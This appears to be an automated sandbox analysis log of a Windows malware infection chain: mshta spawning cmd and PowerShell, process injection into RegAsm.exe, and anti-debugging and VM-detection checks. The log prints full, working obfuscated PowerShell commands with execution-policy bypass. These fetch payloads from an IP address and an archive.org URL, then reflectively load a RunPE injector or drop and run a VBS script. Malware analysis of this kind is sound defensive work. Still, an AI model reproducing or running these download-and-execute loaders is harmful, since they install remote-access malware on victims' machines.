Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5712	Thread sleep time: -14544000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	11_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	11_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	11_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	11_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407877 FindFirstFileW,FindNextFileW,	11_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0044E8F9 FindFirstFileExA,	11_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	11_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	11_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

11_2_00407CD2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: wscript.exe, 00000006.00000003.2162243361.00000000051C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.2177854722.0000000008B6F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0
Source: powershell.exe, 00000003.00000002.2177473162.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2177473162.0000000008B52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000006.00000003.2162243361.00000000051C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000009.00000002.2281731880.0000000007690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: RegAsm.exe, 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_11-48851

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell decode and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00434A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

11_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00443355 mov eax, dword ptr fs:[00000030h]

11_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004120B2 GetProcessHeap,HeapFree,

11_2_004120B2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00434BD8 SetUnhandledExceptionFilter,	11_2_00434BD8

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: amsi32_1600.amsi.csv, type: OTHER

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 97B008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

11_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00419662 mouse_event,

11_2_00419662

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9FA0.tmp" "c:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jdbgicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ftwjlckrfrmlosxrjt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagihhzd0isc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagdknbew1xsfcsc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagc0rylhvpbnqgicagicagicagicagicagicagicagicagicagicagicbmuixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbnchlsc3voktsnicagicagicagicagicagicagicagicagicagicagicaglw5btwugicagicagicagicagicagicagicagicagicagicagicaia28iicagicagicagicagicagicagicagicagicagicagicaglu5btuvzugfjrsagicagicagicagicagicagicagicagicagicagicagihpncmz6qmtebgllicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicqwrjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewnc4xnjgumziumtq4lzm0ns9uawnlbwvldgluz3nvznbpy3r1cmvjbgvhcnroaw5nc3rvymuudelgiiwijgvudjpbufbeqvrbxg5py2vtzwv0aw5nc29mcgljdhvyzwnszwfydghpbmdzdg9illzicyismcwwkttzdgfyvc1ztgvfccgzktttvgfsvcagicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcbmljzw1lzxrpbmdzb2zwawn0dxjly2xlyxj0agluz3n0b2iuvmjzig=='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jdbgicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ftwjlckrfrmlosxrjt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagihhzd0isc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagdknbew1xsfcsc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagc0rylhvpbnqgicagicagicagicagicagicagicagicagicagicagicbmuixjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbnchlsc3voktsnicagicagicagicagicagicagicagicagicagicagicaglw5btwugicagicagicagicagicagicagicagicagicagicagicaia28iicagicagicagicagicagicagicagicagicagicagicaglu5btuvzugfjrsagicagicagicagicagicagicagicagicagicagicagihpncmz6qmtebgllicagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicqwrjo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlzewnc4xnjgumziumtq4lzm0ns9uawnlbwvldgluz3nvznbpy3r1cmvjbgvhcnroaw5nc3rvymuudelgiiwijgvudjpbufbeqvrbxg5py2vtzwv0aw5nc29mcgljdhvyzwnszwfydghpbmdzdg9illzicyismcwwkttzdgfyvc1ztgvfccgzktttvgfsvcagicagicagicagicagicagicagicagicagicagicagicikrw5wokfquerbvefcbmljzw1lzxrpbmdzb2zwawn0dxjly2xlyxj0agluz3n0b2iuvmjzig=='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdnjysnwuz1cmwgpsankyddjysntkenkydodhqnkydwcycrjzovjysnl2lhnjawmtawjysnlnvzlicrj2fyy2hpdmuujysnb3jnlzi0lycrj2l0jysnzw1zlycrj2rldgenkydolw4nkydvjysndgutjysndi9ezxrhae4nkydvdgvwjysnlicrj3r4denoqscrjztnwuziyxnljysnnjrdb250zw50iccrjz0gke5ljysndycrjy1pymonkydlyycrj3qnkycgu3lzdccrj2vtlk4nkydldccrjy5xzwjdbgllbicrj3qpjysnlkrvd25sb2fkjysnu3ryaw5nkgdzricrj3vybcknkyc7zycrj1lgymluyxinkyd5jysnq29udgvudca9iccrj1ttexn0zw0nkycuq29ujysndmvydccrj106okzyb21cyxnlnjrtjysndccrj3jpbmcnkycoz1knkydgyicrj2fzzscrjzy0q29udccrj2unkydujysndck7zycrj1lgyscrj3mnkydzjysnzw1ibccrj3kgpsbbumvmbccrj2vjjysndgknkydvbi5bjysnc3mnkydlbwjsescrj10nkyc6oicrj0xvywqoz1lgymknkyduyxj5jysnq29ujysndgvudccrjyk7z1lgdhlwzsa9igdzrmenkydzc2vtjysnymx5lkcnkydldfr5cgunkycoq05bunvuueunkycusccrj29tjysnzunojysnqsk7z1lgjysnbwunkyd0accrj29kid0gz1lgdccrj3lwzs5hzxrnzxrob2qoq05bvicrj0fjq05bkttnwuztzxrob2qusw52b2tlkgdzricrj251bgwsiftvymplyycrj3rbjysnxv1akenoqxr4dc4nkydbwlbqsemvntqnkyczlzg0ms4nkycymy44njenkycujysnndaxly86chr0aenoqsasienoqwrlc2f0axzhzg9dtkeglcbdtkfkzxnhdgl2yscrj2rvq04nkydbicwnkycgq04nkydbjysnzgvzyxrpdicrj2enkydkb0noqsxdjysntkfszscrj2dbc21dtkenkycsqycrj05bq05bjysnksknks5yrvbsyunfkcddtkenlftzdhjjbmddw0niyxjdmzkplnjfugxhq0uoj2dzricsjyqnksb8ic4gkcakzu5woknpbxnwrwnbncwyniwynv0tak9pticnkq